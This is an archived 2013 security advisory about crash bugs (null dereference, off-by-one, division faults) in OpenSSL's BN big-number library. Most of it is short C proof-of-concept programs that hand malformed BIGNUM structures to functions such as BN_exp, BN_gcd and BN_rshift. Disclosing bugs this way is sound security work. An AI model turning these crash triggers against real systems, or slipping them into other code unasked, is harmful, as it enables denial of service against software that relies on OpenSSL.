Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:30050
HistoryDec 09, 2013 - 12:00 a.m.

Multiple issues in OpenSSL - BN (multiprecision integer arithmetics).

2013-12-0900:00:00
vulners.com
38

General info:

The bn (multiprecision integer arithmetics) part of the OpenSSL library is prone to null ptr deref, off-by-one and others resulting in DoS/crashes.
Versions tested were between 0.9.8k and 1.0.1e. We were too lazcough busy to prepare the fancy table, sorry guys.
Some PoC will work for one version but not for the other. Your milage may vary, so you'll have to test it by yourself.

bn_div_words.c:

– cut
/* BN_ULONG bn_div_words(BN_ULONG h, BN_ULONG l, BN_ULONG d);
bn_div_words(h, l, d) divides the two word number (h,l) by d and returns the result.

if defined(__i386) || defined (i386)

*
* There were two reasons for implementing this template:
* - GNU C generates a call to a function (__udivdi3 to be exact)
*   in reply to ((((BN_ULLONG)n0)<<BN_BITS2)|n1)/d0 (I fail to
*   understand why...);
* - divl doesn't only calculate quotient, but also leaves
*   remainder in %edx which we can definitely use here:-)
*
*                   <[email protected]>
*

define bn_div_words(n0,n1,d0) \

({  asm volatile (          \
    "divl   %4"         \
    : "=a"(q), "=d"(rem)        \
    : "a"(n1), "d"(n0), "g"(d0) \
    : "cc");            \
    q;                  \
})

define REMAINDER_IS_ALREADY_CALCULATED

elif defined(__x86_64) && defined(SIXTY_FOUR_BIT_LONG)

*
* Same story here, but it's 128-bit by 64-bit division. Wow!
*                   <[email protected]>
*

define bn_div_words(n0,n1,d0) \

({  asm volatile (          \
    "divq   %4"         \
    : "=a"(q), "=d"(rem)        \
    : "a"(n1), "d"(n0), "g"(d0) \
    : "cc");            \
    q;                  \
})

*/

#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>

int
main(int argc, char **argv)
{
BN_ULONG q,d0,n0,n1,rem=0;

n0 = 10UL;  // if n0 &gt;= d0 then Floating point exception
n1 = 100UL;
d0 = 10UL;


printf&#40;&quot;&#37;lu&#92;n&quot;, bn_div_words&#40;n0, n1, d0&#41;&#41;;
    return 0;

}

– cut

BN_exp_dos.c:

– cut
/* int BN_exp(BIGNUM *r, BIGNUM *a, BIGNUM *p, BN_CTX *ctx);
BN_exp() raises a to the p-th power and places the result in r ("r=a^p"). This function is faster than repeated applications of BN_mul().
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>

int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();

x-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
x-&gt;d[0] = 0;
x-&gt;top = 13645;
x-&gt;dmax = 13645;
x-&gt;neg = 0;
x-&gt;flags = 1;

y-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
y-&gt;d[0] = 2;
y-&gt;top = 1;
y-&gt;dmax = 1;
y-&gt;neg = 1;
y-&gt;flags = 1;

z-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
z-&gt;d[0] = 34427664;
z-&gt;top = 1;
z-&gt;dmax = 1;
z-&gt;neg = 0;
z-&gt;flags = 0;

printf&#40;&quot;&#37;d&#92;n&quot;, BN_exp&#40;x, y, z, c&#41;&#41;;
    return 0;

}

– cut

BN_gcd_dos.c:

– cut
/* int BN_gcd(BIGNUM *r, BIGNUM *a, BIGNUM *b, BN_CTX *ctx);
BN_gcd() computes the greatest common divisor of a and b and p
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>

int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();

x-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
x-&gt;d[0] = 1;
x-&gt;top = 0;
x-&gt;dmax = 2;
x-&gt;neg = 0;
x-&gt;flags = 1;

y-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
y-&gt;d[0] = 1;
y-&gt;top = 1;
y-&gt;dmax = 1;
y-&gt;neg = 0;
y-&gt;flags = 0;

z-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
z-&gt;d[0] = 0;
z-&gt;top = 1;
z-&gt;dmax = 2;
z-&gt;neg = 0;
z-&gt;flags = 0;

printf&#40;&quot;PoC works for OpenSSL v1.0.1c but not for v0.9.8k&#92;n&quot;&#41;;
printf&#40;&quot;&#37;d&#92;n&quot;, BN_gcd&#40;x, y, z, c&#41;&#41;;
    return 0;

}

– cut

BN_mod_add.c:

– cut
/* int BN_mod_add(BIGNUM *r, BIGNUM *a, BIGNUM *b, const BIGNUM *m, BN_CTX *ctx);
BN_mod_add() adds a to b modulo m and places the non-negative result in r.
*/
#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>

int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*v;
x = BN_new();
y = BN_new();
z = BN_new();
v = BN_new();

x-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
x-&gt;d[0] = 262144;
x-&gt;top = 1;
x-&gt;dmax = 2;
x-&gt;neg = 0;
x-&gt;flags = 1;

y-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
y-&gt;d[0] = 262144;
y-&gt;top = 1;
y-&gt;dmax = 1;
y-&gt;neg = 0;
y-&gt;flags = 0;

z-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
z-&gt;d[0] = 0;
z-&gt;top = 0;
z-&gt;dmax = 1;
z-&gt;neg = 0;
z-&gt;flags = 1;

v-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
v-&gt;d[0] = 0;
v-&gt;top = 1;
v-&gt;dmax = 1;
v-&gt;neg = 0;
v-&gt;flags = 1;

// triggers bug in bn_div_words&#40;&#41;
printf&#40;&quot;&#37;d&#92;n&quot;, BN_mod_add&#40;x, y, z, v, c&#41;&#41;;
    return 0;

}

– cut

BN_rshift.c:

– cut
/* int BN_rshift(BIGNUM *r, BIGNUM *a, int n);
BN_rshift() shifts a right by n bits and places the result in r ("r=a/2^n"). BN_rshift1() shifts a right by one and places the result in r ("r=a/2").

int BN_rshift(BIGNUM *r, const BIGNUM *a, int n)
{
int i,j,nw,lb,rb;
BN_ULONG *t,*f;
BN_ULONG l,tmp;

bn_check_top&#40;r&#41;;
bn_check_top&#40;a&#41;;

nw=n/BN_BITS2;  0
rb=n&#37;BN_BITS2;  0
lb=BN_BITS2-rb; 64
if &#40;nw &gt;= a-&gt;top || a-&gt;top == 0&#41;
    {
    BN_zero&#40;r&#41;;
    return&#40;1&#41;;
    }
i = &#40;BN_num_bits&#40;a&#41;-n+&#40;BN_BITS2-1&#41;&#41;/BN_BITS2;

if &#40;r != a&#41;
    {
    r-&gt;neg=a-&gt;neg;

    if &#40;bn_wexpand&#40;r,i&#41; == NULL&#41; return&#40;0&#41;;
    }
else
    {
    if &#40;n == 0&#41;
        return 1; // or the copying loop will go berserk
    }
f= &amp;&#40;a-&gt;d[nw]&#41;;

t=r-&gt;d;

j=a-&gt;top-nw;

r-&gt;top=i;

if &#40;rb == 0&#41;
    {
    for &#40;i=j; i != 0; i--&#41;
        *&#40;t++&#41;= *&#40;f++&#41;;             &lt;---- oops
    }
else
    {
    l= *&#40;f++&#41;;
    for &#40;i=j-1; i != 0; i--&#41;
        {
        tmp =&#40;l&gt;&gt;rb&#41;&amp;BN_MASK2;
        l= *&#40;f++&#41;;
        *&#40;t++&#41; =&#40;tmp|&#40;l&lt;&lt;lb&#41;&#41;&amp;BN_MASK2;
        }
    if &#40;&#40;l = &#40;l&gt;&gt;rb&#41;&amp;BN_MASK2&#41;&#41; *&#40;t&#41; = l;
    }
bn_check_top&#40;r&#41;;
return&#40;1&#41;;
}

*/

#include <stdio.h>
#include <string.h>
#include <openssl/bn.h>
#include <openssl/rand.h>

int
main(int argc, char **argv)
{
BN_CTX *c = BN_CTX_new();
BIGNUM *x,*y,*z,*p1,*p2,*p3;
x = BN_new();
y = BN_new();
z = BN_new();

x-&gt;d = NULL;
x-&gt;top = 0;
x-&gt;dmax = 0;
x-&gt;neg = 0;
x-&gt;flags = 0;

y-&gt;d = &#40;BN_ULONG *&#41; malloc&#40;1&#41;;
y-&gt;d[0] = 0;
y-&gt;top = 1;
y-&gt;dmax = 1;
y-&gt;neg = 0;
y-&gt;flags = 1;

printf&#40;&quot;&#37;d&#92;n&quot;, BN_rshift&#40;x, y, 0&#41;&#41;;
    return 0;

}

– cut

BN_bn2hex.c:

– cut
/* char *BN_bn2hex(const BIGNUM *a);
BN_bn2hex() and BN_bn2dec() return printable strings containing the hexadecimal and decimal encoding of a respectively. For negative numbers, the string is prefaced with a leading '-'. The string must be freed later using
OPENSSL_free().
*/

#include <stdio.h>
#include <openssl/bn.h>

int
main(int argc, char **argv)
{
BIGNUM *z,*o;
BN_CTX *ctx = BN_CTX_new();

z = BN_new&#40;&#41;;
o = BN_new&#40;&#41;;


BN_zero&#40;z&#41;;
BN_one&#40;o&#41;;
BN_set_negative&#40;o, 1&#41;;
BN_sqr&#40;o, z, ctx&#41;;

printf&#40;&quot;&#37;s&#92;n&quot;, BN_bn2hex&#40;o&#41;&#41;;

return 0;

}

– cut

BN_add_word.c:

– cut
/* int BN_add_word(BIGNUM *a, BN_ULONG w);
BN_add_word() adds w to a ("a+=w").
*/

#include <stdio.h>
#include <openssl/bn.h>

int
main(int argc, char **argv)
{
BIGNUM *z,*o;
BN_CTX *ctx = BN_CTX_new();

z = BN_new&#40;&#41;;
o = BN_new&#40;&#41;;


BN_set_word&#40;o, 2&#41;;
BN_add_word&#40;o, 18446744073709551615LL&#41;;

return 0;

}

– cut

Credits:

AKAT-1, 22733db72ab3ed94b5f8a1ffcde850251fe6f466, c8e74ebd8392fda4788179f9a02bb49337638e7b


GET FREE SMILEYS FOR YOUR IM & EMAIL - Learn more at http://www.inbox.com/smileys
Works with AIM®, MSN® Messenger, Yahoo!® Messenger, ICQ®, Google Talk™ and most webmails